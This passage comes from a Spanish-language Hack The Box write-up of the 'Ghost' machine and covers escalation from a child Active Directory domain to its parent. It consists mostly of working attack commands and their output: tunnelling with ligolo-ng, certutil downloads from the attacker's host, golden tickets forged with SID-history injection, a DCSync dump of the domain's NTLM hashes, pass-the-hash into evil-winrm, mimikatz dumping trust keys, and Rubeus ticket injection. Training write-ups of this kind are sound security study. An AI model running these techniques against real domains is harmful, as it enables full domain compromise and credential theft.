    19  2ee6795b19f71e9c5aa2ab2f902a0c55
    20  3722d9593e0e483720a657bcb56526b2
    21  7bdac8f5dfed431bc7232ff1ca6ebb4d
    22  7bdac8f5dfed431bc7232ff1ca6ebb4d
    23  42b46cd4462f0d4c4ae5da7757a2ff90
    24  7648ab0ac431ceada83b321ca468fccf
    25  7648ab0ac431ceada83b321ca468fccf
    26  7af11e3e17a21afd61955ed5a5f52405
    27  9dfbb554b398bdf2e8c51e1b20208c08
    28  49a35ae4b703b7c47b44708fa235c581
    29  8a24eb5a1a3155556064b79149b00211

Obtendremos el Domain SID del dominio CORP.GHOST.HTB a travรฉs de BloodHound.

Tambiรฉn obtendremos el SID del grupo Enterprise Admins del dominio GHOST.HTB.

Tambiรฉn podemos elegir otros grupos de alto privilegios que dispongan del permiso de DCSync sobre el dominio GHOST.HTB.

Exploiting Network Access with Ligolo-ng to Share corp.ghost.htb

Dado que la red de CORP.GHOST.HTB no la tenemos accesible desde la VPN de HTB, lo que deberemos de realizar es compartir esta red mediante herramientas como ligolo-ng.

En nuestra Kali, nos montaremos el servidor Proxy a travรฉs del siguiente comando.

โฏ /opt/ligolo/proxy -selfcert
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
WARN[0000] Using self-signed certificates               
ERRO[0000] Certificate cache error: acme/autocert: certificate cache miss, returning a new certificate 
WARN[0000] TLS Certificate fingerprint for ligolo is: DB1E783AF04CFDBBC26A8A87A1EDAD3E1AB2DC1B9FD699144B66E86A66DAB6BB 
INFO[0000] Listening on 0.0.0.0:11601                   
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   

  Made in France โ™ฅ            by @Nicocha30!
  Version: 0.7.5

ligolo-ng ยป  

Realizaremos las siguiente modificaciones, para habilitar la interfaz de ligolo-ng en nuestro equipo atacante, y de aรฑadir la ruta correspondiente al ip route. Por otro lado, sincronizarmos la hora con el dominio.

โฏ sudo ip tuntap add user kali mode tun ligolo
โฏ sudo ip link set ligolo up
โฏ sudo ip route add 10.0.0.0/24 dev ligolo
โฏ sudo ntpdate -s ghost.htb

Tambiรฉn deberemos de disponer del agent.exe de ligolo-ng el cual compartiremos a travรฉs de un servidor web.

โฏ ls
๏…บ agent.exe  ๏’‰ proxy

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde el equipo de PRIMARY nos descargaremos el binario indicado.

PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/agent.exe agent.exe
certutil.exe -f -urlcache -split http://10.10.16.7/agent.exe agent.exe
****  Online  ****
  000000  ...
  5f2c00
CertUtil: -URLCache command completed successfully.

Realizaremos la conexiรณn del agente con el servidor de ligolo-ng.

PS C:\ProgramData> .\agent.exe -connect 10.10.16.7:11601 -ignore-cert
.\agent.exe -connect 10.10.16.7:11601 -ignore-cert
time="2025-02-07T14:07:26-08:00" level=warning msg="warning, certificate validation disabled"
time="2025-02-07T14:07:26-08:00" level=info msg="Connection established" addr="10.10.16.7:11601"

Verificaremos en el servidor Proxy de ligolo-ng que se ha detectado una sesiรณn nueva, una vez conectada, ingresaremos el comando start para iniciar la comparticiรณn de la red.

/opt/ligolo/proxy -selfcert
WARN[0000] Using default selfcert domain 'ligolo', beware of CTI, SOC and IoC! 
WARN[0000] Using self-signed certificates               
WARN[0000] TLS Certificate fingerprint for ligolo is: DB1E783AF04CFDBBC26A8A87A1EDAD3E1AB2DC1B9FD699144B66E86A66DAB6BB 
INFO[0000] Listening on 0.0.0.0:11601                   
    __    _             __                       
   / /   (_)___ _____  / /___        ____  ____ _
  / /   / / __ `/ __ \/ / __ \______/ __ \/ __ `/
 / /___/ / /_/ / /_/ / / /_/ /_____/ / / / /_/ / 
/_____/_/\__, /\____/_/\____/     /_/ /_/\__, /  
        /____/                          /____/   

  Made in France โ™ฅ            by @Nicocha30!
  Version: 0.7.5

ligolo-ng ยป INFO[0067] Agent joined.                                 id=31530714-8a8b-4acd-8cfd-765668586137 name="NT AUTHORITY\\SYSTEM@PRIMARY" remote="10.10.11.24:49803"
ligolo-ng ยป 
ligolo-ng ยป session
? Specify a session : 1 - NT AUTHORITY\SYSTEM@PRIMARY - 10.10.11.24:49803 - 31530714-8a8b-4acd-8cfd-765668586137
[Agent : NT AUTHORITY\SYSTEM@PRIMARY] ยป start
[Agent : NT AUTHORITY\SYSTEM@PRIMARY] ยป INFO[0074] Starting tunnel to NT AUTHORITY\SYSTEM@PRIMARY (31530714-8a8b-4acd-8cfd-765668586137) 

Aรฑadiremos la siguiente entrada en nuestro archivo /etc/hosts.

โฏ cat /etc/hosts | grep corp.ghost.htb
10.0.0.10 corp.ghost.htb

Generating Custom Golden Ticket for Administrator in corp.ghost.htb

En este punto, para realizar el Golden Ticket Attack deberemos de disponer de los siguientes puntos claves.

  • Clave aes256_hmac del usuario krbtgt --> esta clave nos servirรก para generar el Golden Ticket.

  • Domain SID --> deberemos de disponer del Domain SID del dominio CORP.GHOST.HTB.

  • Extra SID --> deberemos de disponer del sid de un grupo de alto privilegio del dominio GHOST.HTB.

En este caso, estamos aรฑadiendo el SID del grupo "Enterprise Admins" del dominio GHOST.HTB, lo que significa que cuando generemos el Golden Ticket en el dominio corp.ghost.htb, tambiรฉn dispondremos de permisos en GHOST.HTB como si fuรฉramos miembro de "Enterprise Admins".

ยฟPara quรฉ sirve esto?

  • Enterprise Admins es un grupo con privilegios altos en toda la estructura de dominios, lo que permite administrar otros dominios dentro del bosque.

  • Como disponemos una relaciรณn de confianza entre corp.ghost.htb y GHOST.HTB, podemos movernos lateralmente y escalar privilegios en GHOST.HTB.

  • Bรกsicamente, con este Golden Ticket, podemosactuar como un Administrador de Dominio en GHOST.HTB, aunque originalmente solo tenรญamos acceso en CORP.GHOST.HTB.

Realizaremos el Golden Ticket y dispondremos del archivo Administrator.ccache que utilizaremos para autenticarnos como Administrator en el dominio GHOST.HTB.

โฏ impacket-ticketer -aesKey b0eb79f35055af9d61bcbbe8ccae81d98cf63215045f7216ffd1f8e009a75e8d -domain-sid S-1-5-21-2034262909-2733679486-179904498 -extra-sid S-1-5-21-4084500788-938703357-3654145966-519 -domain corp.ghost.htb Administrator 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for corp.ghost.htb/Administrator
[*] 	PAC_LOGON_INFO
[*] 	PAC_CLIENT_INFO_TYPE
[*] 	EncTicketPart
[*] 	EncAsRepPart
[*] Signing/Encrypting final ticket
[*] 	PAC_SERVER_CHECKSUM
[*] 	PAC_PRIVSVR_CHECKSUM
[*] 	EncTicketPart
[*] 	EncASRepPart
[*] Saving ticket in Administrator.ccache

Importaremos el Administrator.ccache en la variable KRB5CCNAME y verificaremos que el Ticket Granting Ticket (TGT) del usuario Administrator es vรกlido.

โฏ export KRB5CCNAME=Administrator.ccache

โฏ klist -i
Ticket cache: FILE:Administrator.ccache
Default principal: Administrator@CORP.GHOST.HTB

Valid starting     Expires            Service principal
08/02/25 04:14:33  06/02/35 04:14:33  krbtgt/CORP.GHOST.HTB@CORP.GHOST.HTB
	renew until 06/02/35 04:14:33

Dumping Domain Credentials and NTDS Secrets from DC01 in corp.ghost.htb

Una vez dispongamos del TGT del usuario Administrator, lo que realizaremos es un DCSync Attack para disponer de todos los hashes NTLM del dominio GHOST.HTB. Entre los hashes obtenidos, el que nos interesa es el del usuario Administrator del dominio GHOST.HTB.

โฏ secretsdump.py dc01.ghost.htb -k -no-pass -just-dc-ntlm
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:1cdb17d5c14ff69e7067cffcc9e470bd:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:0cdb6ae71c3824f2da2815f69485e128:::
kathryn.holland:3602:aad3b435b51404eeaad3b435b51404ee:0adf6114ba230ef8f023eca3c0d1af50:::
cassandra.shelton:3603:aad3b435b51404eeaad3b435b51404ee:96d2251e44e42816314c08b8e1f11b87:::
robert.steeves:3604:aad3b435b51404eeaad3b435b51404ee:7e2e1e1163ff3fa9304ecd8df6f726fe:::
florence.ramirez:3606:aad3b435b51404eeaad3b435b51404ee:29542931896c7e7a9fbca17b0dd8ab6a:::
justin.bradley:3607:aad3b435b51404eeaad3b435b51404ee:a2be8ec65d6b212138cb36422ed32f46:::
arthur.boyd:3608:aad3b435b51404eeaad3b435b51404ee:b5b7f0787f3c07f42958d33518ae19a5:::
beth.clark:3610:aad3b435b51404eeaad3b435b51404ee:1582f51fcd02e2e5316d497f2552bb83:::
charles.gray:3611:aad3b435b51404eeaad3b435b51404ee:d2fe7f2c7484fc550cac49836eabca3d:::
jason.taylor:3612:aad3b435b51404eeaad3b435b51404ee:0159e6bd4326812f9a6c406ea84035e6:::
intranet_principal:3614:aad3b435b51404eeaad3b435b51404ee:e9fac15124e1d927cbd71f851792b04f:::
gitea_temp_principal:3615:aad3b435b51404eeaad3b435b51404ee:2058fa4502750fa5d7ebd874b1ea43a1:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:e6c3d61860f92e30e8e9744ac5d9783b:::
LINUX-DEV-WS01$:3630:aad3b435b51404eeaad3b435b51404ee:be14220f3b71b34a61d2d516d595555c:::
adfs_gmsa$:4101:aad3b435b51404eeaad3b435b51404ee:0bef79ae4d25b1864570212e33922d14:::
GHOST-CORP$:2101:aad3b435b51404eeaad3b435b51404ee:be0a51897087a382ca0726b2403e6b00:::
[*] Cleaning up...

Verificaremos que podemos autenticarnos mediante PassTheHash con el hash NTLM del usuario Administrator. Una vez verificada la autenticaciรณn, nos conectaremos al DC mediante evil-winrm y verificaremos la flag de root.txt.

โฏ nxc winrm 10.10.11.24 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
WINRM       10.10.11.24     5985   DC01             [*] Windows Server 2022 Build 20348 (name:DC01) (domain:ghost.htb)
WINRM       10.10.11.24     5985   DC01             [+] ghost.htb\Administrator:1cdb17d5c14ff69e7067cffcc9e470bd (Pwn3d!)

โฏ evil-winrm -i 10.10.11.24 -u 'Administrator' -H '1cdb17d5c14ff69e7067cffcc9e470bd'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
9aa9bfa2************************

Privilege Escalation (Method 2)

Parent Domain Compromise + SID History Injection Attack + Golden Ticket on Windows

En este ataque, nuestro objetivo es escalar privilegios desde el dominio CORP.GHOST.HTB hasta el dominio GHOST.HTB, el cual es considerado el dominio padre en la infraestructura de confianza. Para lograrlo, aprovechamos la relaciรณn de confianza entre ambos dominios y empleamos el ataque de SID History Injection. Este ataque nos permite generar un Golden Ticket que incluye privilegios de un grupo de alto nivel en el dominio padre, como Enterprise Admins, lo que nos otorga permisos elevados en GHOST.HTB, incluso si inicialmente solo tenemos acceso a CORP.GHOST.HTB.

A lo largo de esta escalada, veremos cรณmo extraemos el Domain SID de ambos dominios, generamos el Golden Ticket y finalmente solicitamos un Ticket de Servicio (TGS) para obtener acceso a los recursos del dominio padre. Al final de este proceso, podremos actuar como administradores en GHOST.HTB, obteniendo acceso completo a los sistemas y datos que forman parte de ese dominio.

Desde BloodHound, verificamos que el dominio CORP.GHOST.HTB y GHOST.HTB tienen relaciรณn de confianza bidireccional.

Ejecutamos el siguiente comando para extraer la informaciรณn de confianza entre dominios, obteniendo el Domain SID de CORP.GHOST.HTB:

C:\ProgramData>mk.exe "lsadump::trust /patch" exit
mk.exe "lsadump::trust /patch" exit

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::trust /patch

Current domain: CORP.GHOST.HTB (GHOST-CORP / S-1-5-21-2034262909-2733679486-179904498)

Domain: GHOST.HTB (GHOST / S-1-5-21-4084500788-938703357-3654145966)
 [  In ] CORP.GHOST.HTB -> GHOST.HTB
    * 2/7/2025 9:45:55 AM - CLEAR   - 75 85 47 04 86 07 63 03 f4 b5 a6 8f cb 64 a7 7a e5 30 5a 0c 90 5e 03 76 18 ce 79 c9 ce 47 d2 89 a4 55 02 64 6e be 3a c6 92 28 a6 76 4f d2 ea eb 25 72 82 c4 c8 e5 55 55 7b 29 b0 d3 a0 fc 9a 1b 3d c7 98 a3 1d 25 05 49 39 de 68 35 b4 ef e1 38 fa 81 70 0c 51 ad d1 6a 38 a4 5e e0 cf 61 15 98 2a eb d6 3c 5f 18 fa 2e 69 58 7c 9b 25 d6 5d 32 1d f9 c1 5b c4 76 f2 06 0a 46 44 fa 6e 24 a1 84 a8 89 c4 11 eb 75 5b b8 67 64 74 fa 45 ef 4d 60 4d 2d 75 20 35 cb 68 89 ee 2e ee 40 30 5c 3d 7c cc a3 cf fa 66 a0 71 d4 67 eb 9e b2 43 e9 61 d5 68 73 d7 45 9d a9 8d b8 07 6b f0 08 87 14 77 b0 c9 d9 51 7e 43 c3 12 1e a9 d3 8c 7d d0 68 a8 d0 70 8a c0 01 a9 43 43 62 c4 db bd 8f 4b 6d 30 3f 24 9d 66 4c 69 ff 5e 11 36 88 5f 0b aa d2 ee 13 
	* aes256_hmac       2ebffec8e7479bcd49756acc82db80671cfffcac207232d65b2052c60dfb1bf7
	* aes128_hmac       7a23ca1cb52263c5cae9baf7a0f09e42
	* rc4_hmac_nt       6d6f0fb56ad234f6b85ae8be3ae6e2a3

 [ Out ] GHOST.HTB -> CORP.GHOST.HTB
    * 2/7/2025 9:45:13 AM - CLEAR   - 20 d1 cb e4 cf 41 b8 3a a2 bd 83 13 a7 e8 79 07 64 37 29 e5 45 1e 15 98 04 03 40 16 f0 c8 5a 73 f2 7e 09 31 47 48 11 29 40 73 5f 01 80 2c 9b 2d a4 d6 ed 42 00 aa c1 0e fd 18 d0 71 b9 ce f6 60 2b 54 b0 96 ac ad d4 6c 13 c1 cd 09 68 60 85 dc bc 45 a1 2a 75 49 d4 8b 53 aa 72 c3 71 7b c5 f5 e8 52 07 68 52 17 e0 8d c9 cc 16 64 e5 9b b5 7f ee 92 49 af fc df bd 69 14 a8 3b c6 71 ba 25 66 f0 fd 05 4d 3c 01 74 e2 86 d1 b3 3c 41 51 1d 77 6a 7e 47 4e 6a f8 16 a8 0f d1 a2 06 51 5e 78 e1 fb 81 b6 fd d9 0d ae c0 c8 dd b1 42 b5 2b ec 34 dd dc 39 dc ea 8d 90 3c d7 d3 5b fd 2f 73 4b 1c e7 c3 55 93 79 ed 06 e5 1c 92 67 1b 75 7a 27 27 75 b0 b2 00 c4 18 e5 a9 c9 01 9f 33 7c f1 bf 03 a5 ce 10 2c cc cc a3 2b d6 8b 2b 88 e4 c9 6d d2 
	* aes256_hmac       eb67c47eb93e1e6713b7a891e333e4e57f020a494e1f638ef226adb7023cfdd4
	* aes128_hmac       98a5cbb5490bf6d30a0f9b615ed15674
	* rc4_hmac_nt       be0a51897087a382ca0726b2403e6b00

 [ In-1] CORP.GHOST.HTB -> GHOST.HTB
    * 7/22/2024 8:21:26 AM - CLEAR   - de 0b 64 63 58 9d ed e1 bc 36 c0 50 7c 4d 41 6d bd 82 72 e9 98 9b 13 58 b8 68 f1 94 8c ca 12 50 9b af 45 7d 0a 4d 4e 40 e2 7d 12 59 72 2f 87 22 64 c8 fa b2 96 8d aa c1 f1 17 a3 e7 aa 2b ec 87 b5 59 57 71 6f 33 87 4c e0 8a 8b 03 38 a2 71 b6 d5 0b 61 fd 7e 14 3e 46 16 d9 29 d8 f6 f9 05 69 3f b7 4f c1 28 0b 7e ec e5 46 ab 7e e8 2c 8b be 70 b5 d9 6c 96 1b fb 56 33 bc 41 15 b5 73 42 25 54 15 4b b6 fc 55 07 81 60 4a 6b 4c 22 a2 55 61 e5 91 e6 75 e3 62 d4 9a 37 77 bd 63 90 8e 6a 2a 2c c6 88 8f 57 44 7a 9e 35 aa e5 6a 2b 5f c8 0a 8c 4f cb bd af c9 60 59 ff 15 d9 fd cf 27 93 9f f7 19 9e 91 2b 38 d7 0e ec c9 43 e6 8c 3b 60 02 5f b7 c3 c1 67 c2 6b 44 db 1f 9c f7 72 2f 3a 54 6e 62 02 c9 46 d1 b7 3d 26 54 d0 4f 35 65 a8 3f 
	* aes256_hmac       de2e49c70945c0cb0dec99c93587de84f0b048843b8e295c6da720ba85545ffe
	* aes128_hmac       b55ca148bc95f95b8cb72f67661e1a08
	* rc4_hmac_nt       0b0124f5d6c07ad530d6bf6a6404fdaa

 [Out-1] GHOST.HTB -> CORP.GHOST.HTB
    * 2/7/2025 9:45:13 AM - CLEAR   - 78 10 13 24 91 0a 57 22 71 4e f6 ef 53 6a d8 54 02 97 63 0b 78 28 41 b7 5e 5e e6 b7 50 03 35 96 f2 e5 8b a3 c1 21 fa f6 01 f5 5f 7b 38 98 bc 8b 2b f5 3e 91 ce 8a 01 06 59 c0 9b 19 8c d8 d3 1a 17 9f d4 f1 b2 cb a0 49 f6 7f 97 f7 a0 79 63 bb 20 4a bf a3 d9 dd b1 13 20 c6 a0 84 a2 ea 65 79 6a b6 d3 db 17 e9 be b8 c1 35 57 38 c8 3b a6 6a 90 32 66 ba 0e bd fd 67 bf f4 e9 3c f2 e5 37 94 84 d6 c0 71 d3 42 85 ef 4e 94 ac 56 0f df 05 77 1b 74 57 4f a2 07 07 a1 d6 8e ee a1 cd 6a c0 4c d9 3f 16 0a fa 47 07 45 45 ad b5 6d e4 01 b1 e4 bf 76 c2 8e 5b 4e f4 04 ed 08 e4 e0 7e d8 18 5a f5 df 07 c3 97 3d 7e 6d 28 1e c1 1a ec 6d 06 83 0f 27 ea c8 00 af 92 c9 1f f6 50 45 f5 c1 bb 4a 09 bb d6 df 6b cf d6 fe fe d8 44 bb 19 90 46 0b 
	* aes256_hmac       b50449e019e0a55f9227fb2e830b044e9e9ad9952e2249e5de29f2027cd8f40d
	* aes128_hmac       81f4c2f21a640eed29861d71a619b4bb
	* rc4_hmac_nt       ea4e9954536eb29091fc96bbce83be23


mimikatz(commandline) # exit
Bye!

Reviaremos desde BloodHound cual es el SID del grupo ENTERPRISE ADMINS del dominio GHOST.HTB.

Golden Ticket Attack with Mimikatz

Usamos el hash NTLM del usuario krbtgt de CORP.GHOST.HTB para generar un TGT que incluya el Enterprise Admins de GHOST.HTB en su SID History. Esto nos permitirรก operar con privilegios elevados en el dominio padre.

  • /rc4: Hash NTLM del usuario krbtgt de CORP.GHOST.HTB

  • /sid: SID del dominio CORP.GHOST.HTB

  • Extra SID: Aรฑadimos el SID del grupo Enterprise Admins de GHOST.HTB, lo que nos otorga privilegios elevados en el dominio padre

C:\ProgramData>mk.exe "kerberos::golden /user:Administrator /domain:corp.ghost.htb /rc4:6d6f0fb56ad234f6b85ae8be3ae6e2a3 /sid:S-1-5-21-2034262909-2733679486-179904498 S-1-5-21-4084500788-938703357-3654145966-519 /target:ghost.htb /service:krbtgt /ticket:administrator.kirbi" exit
mk.exe "kerberos::golden /user:Administrator /domain:corp.ghost.htb /rc4:6d6f0fb56ad234f6b85ae8be3ae6e2a3 /sid:S-1-5-21-2034262909-2733679486-179904498 S-1-5-21-4084500788-938703357-3654145966-519 /target:ghost.htb /service:krbtgt /ticket:administrator.kirbi" exit

  .#####.   mimikatz 2.2.0 (x64) #18362 Feb 29 2020 11:13:36
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # kerberos::golden /user:Administrator /domain:corp.ghost.htb /rc4:6d6f0fb56ad234f6b85ae8be3ae6e2a3 /sid:S-1-5-21-2034262909-2733679486-179904498 S-1-5-21-4084500788-938703357-3654145966-519 /target:ghost.htb /service:krbtgt /ticket:administrator.kirbi
User      : Administrator
Domain    : corp.ghost.htb (CORP)
SID       : S-1-5-21-2034262909-2733679486-179904498
User Id   : 500
Groups Id : *513 512 520 518 519 
ServiceKey: 6d6f0fb56ad234f6b85ae8be3ae6e2a3 - rc4_hmac_nt      
Service   : krbtgt
Target    : ghost.htb
Lifetime  : 2/7/2025 6:15:48 PM ; 2/5/2035 6:15:48 PM ; 2/5/2035 6:15:48 PM
-> Ticket : administrator.kirbi

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Final Ticket Saved to file !

mimikatz(commandline) # exit
Bye!

Requesting a TGS with Rubeus to gain access to DC01

El siguiente paso serรก disponer del binario de Rubeus.exe y compartirlo a travรฉs de un servidor web.

โฏ ls -l Rubeus.exe
.rw-r--r-- kali kali 436 KB Fri Feb  7 23:35:07 2025 ๏…บ Rubeus.exe

โฏ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Desde el equipo de PRIMARY nos descargaremos el binario indicado.

PS C:\ProgramData> certutil.exe -f -urlcache -split http://10.10.16.7/Rubeus.exe Rubeus.exe
certutil.exe -f -urlcache -split http://10.10.16.7/Rubeus.exe Rubeus.exe
****  Online  ****
  000000  ...
  06d200
CertUtil: -URLCache command completed successfully.

Usamos Rubeus para solicitar un TGS con el ticket generado, permitiรฉndonos autenticarnos en el DC01 de GHOST.HTB:

  • /ticket: Especificamos el ticket administrator.kirbi generado anteriormente

  • /ptt: Inyectamos el ticket en la sesiรณn actual

C:\ProgramData>Rubeus.exe asktgs /dc:dc01.ghost.htb /service:cifs/dc01.ghost.htb /ticket:administrator.kirbi /nowrap /ptt
Rubeus.exe asktgs /dc:dc01.ghost.htb /service:cifs/dc01.ghost.htb /ticket:administrator.kirbi /nowrap /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.2.0 

[*] Action: Ask TGS

[*] Requesting default etypes (RC4_HMAC, AES[128/256]_CTS_HMAC_SHA1) for the service ticket
[*] Building TGS-REQ request for: 'cifs/dc01.ghost.htb'
[*] Using domain controller: dc01.ghost.htb (10.0.0.254)
[+] TGS request successful!
[+] Ticket successfully imported!
[*] base64(ticket.kirbi):

      doIEqjCCBKagAwIBBaEDAgEWooIDqzCCA6dhggOjMIIDn6ADAgEFoQsbCUdIT1NULkhUQqIhMB+gAwIBAqEYMBYbBGNpZnMbDmRjMDEuZ2hvc3QuaHRio4IDZjCCA2KgAwIBEqEDAgEEooIDVASCA1D8P/LOkCpz6xC+IYry09nSmlLeSbq5V7JWv50pNznNaBoh1J5D9dPKM2m49bK/MrP6Rvy9ps66G2BgMHnCnvs8aARRJqmVGMF8MkX6ec5MZ7jWIdTzcy7B1CZFB89SYNIJXYt5DHXlCrJLslKFSoMgcUjvG+trMzifNZfOhBPEYeVUbtVGSAT93e/5ffQeCHdrXYc5muwsDBPP3lh/xHwVCO3bRVqb/JpER5KedgGvdb4+EcrtnzjnIQIOEhhX7LYZ8KZM+FsMypUZYr3RInJc1yBAIbOPKQ3/Bwxz5WfmH8ICyybz6M8VI0+fFBQ1ko/Hu5EfHrHLjdcJAEH2PgUAfSKDLoEouUz9PP7vkAdoTJ9mqi0w6R4Rz0HSXK87dN6gO/NDejtEq8Rh3R2DiFI9e1vUuhqtk49I6o8KNLs8V7bSH3BCbHtNCaWasjDedSIr2d0/seNdTM1uaI7WFvcCbtOG6WsPNI3NKxs/w6O0Wyv2tjMqA/Ydp3+wexdYU0TOUpIJY8XfnEnsBlUYwWaYIbMwrFA7mcKnQVgrpdmV0ZNTNei3n09GKNbgx/1Wo/5eK6ewLJ904o5OU+OWpLbH+nAAO6X3N+/TY1BhdZK0AC1oNCUuwbHcq6iLfGzKw7vdTrmVdHIU1IsODZBgwqFm8mk8+CD2wtH4w2TMv9gs5gDwxbfrTaICe0OS6udyKHwofzNWpsKpDqG/WSgct18bO0cc+AF3dIt3nM7C1i0TnnCtn48wVpIJNZFptE2PSynQvn0gd6ci8Uq0VtscLNBR24ergdXrqdc7Bbr/BBaxVxikv/FjGo5jh0c4ygcL2B2wpqUjJzP4wK7JRcSvRM6E2knSY0+cewv4knGjnnon3q/te1ee2uiASFZ0gRBMt1KCbrnHdbA2m2jf/GSnIaHkIJf+ia2DPrOnYKqRQBJDn2gm7nkep+jdkqYWnIMLSD0av29NGB/sRcd8bt8c0oho3xHvfYwwEmNDbkbZgJxNtMfvfZ2zYRrkL8vhWg7scTLqtd5FgJPYtfRA2EFhCwK9BaXhvvh70dwqsjfRRxOQWDnPoRPe+c9/awl3iyMbTkb0bLsal7M7Jy9f3Imtyc7iFHS+dZ4XnjqOF34Em3SJa6OB6jCB56ADAgEAooHfBIHcfYHZMIHWoIHTMIHQMIHNoCswKaADAgESoSIEIFwo093UuuE6f87W2Cu/YZpafwX1aFthHdmMJqJDkjFioRAbDmNvcnAuZ2hvc3QuaHRiohowGKADAgEBoREwDxsNQWRtaW5pc3RyYXRvcqMHAwUAQKUAAKURGA8yMDI1MDIwODAyMTczOFqmERgPMjAyNTAyMDgxMjE3MzhapxEYDzIwMjUwMjE1MDIxNzM4WqgLGwlHSE9TVC5IVEKpITAfoAMCAQKhGDAWGwRjaWZzGw5kYzAxLmdob3N0Lmh0Yg==

  ServiceName              :  cifs/dc01.ghost.htb
  ServiceRealm             :  GHOST.HTB
  UserName                 :  Administrator
  UserRealm                :  corp.ghost.htb
  StartTime                :  2/7/2025 6:17:38 PM
  EndTime                  :  2/8/2025 4:17:38 AM
  RenewTill                :  2/14/2025 6:17:38 PM
  Flags                    :  name_canonicalize, ok_as_delegate, pre_authent, renewable, forwardable
  KeyType                  :  aes256_cts_hmac_sha1
  Base64(key)              :  XCjT3dS64Tp/ztbYK79hmlp/BfVoW2Ed2YwmokOSMWI=

Comprobamos que el ticket se haya inyectado correctamente en la sesiรณn.

PS C:\ProgramData> klist
klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>	Client: Administrator @ corp.ghost.htb
	Server: cifs/dc01.ghost.htb @ GHOST.HTB
	KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
	Ticket Flags 0x40a50000 -> forwardable renewable pre_authent ok_as_delegate name_canonicalize 
	Start Time: 2/7/2025 18:17:38 (local)
	End Time:   2/8/2025 4:17:38 (local)
	Renew Time: 2/14/2025 18:17:38 (local)
	Session Key Type: AES-256-CTS-HMAC-SHA1-96
	Cache Flags: 0 
	Kdc Called: 

Tratamos de verificar el acceso a los recursos compartidos del DC01.GHOST.HTB pero se nos muestra mensaje de acceso denegado. Esto debido, que este proceso debe ser mรกs rรกpido.

PS C:\ProgramData> dir \\dc01.ghost.htb\c$
dir \\dc01.ghost.htb\c$
dir : Access is denied
At line:1 char:1
+ dir \\dc01.ghost.htb\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (\\dc01.ghost.htb\c$:String) [Get-ChildItem], UnauthorizedAccessExcept 
   ion
    + FullyQualifiedErrorId : ItemExistsUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand
 
dir : Cannot find path '\\dc01.ghost.htb\c$' because it does not exist.
At line:1 char:1
+ dir \\dc01.ghost.htb\c$
+ ~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : ObjectNotFound: (\\dc01.ghost.htb\c$:String) [Get-ChildItem], ItemNotFoundException
    + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetChildItemCommand
 

Por lo tanto, creamos el siguiente script PS1 para realizar los pasos anteriores en bucle hasta conseguir el acceso correspondiente.

# Definir las rutas de los ejecutables de Mimikatz y Rubeus
$mimikatzPath = ".\mk.exe"
$rubeusPath = ".\Rubeus.exe"

# Definir los comandos de Mimikatz y Rubeus
$mimikatzTrustCmd = '"lsadump::trust /patch" exit'  
# Extrae informaciรณn de relaciones de confianza en Active Directory
$mimikatzGoldenCmd = '"kerberos::golden /user:Administrator /domain:corp.ghost.htb /rc4:6d6f0fb56ad234f6b85ae8be3ae6e2a3 /sid:S-1-5-21-2034262909-2733679486-179904498 S-1-5-21-4084500788-938703357-3654145966-519 /target:ghost.htb /service:krbtgt /ticket:gzzcoo.kirbi" exit'
# Genera un Golden Ticket con los datos del usuario Administrator
$rubeusCmd = "/ticket:gzzcoo.kirbi /dc:dc01.ghost.htb /service:cifs/dc01.ghost.htb /nowrap /ptt"
# Usa Rubeus para pedir un TGS y aplicarlo en memoria
# Definir el directorio al que se intentarรก acceder
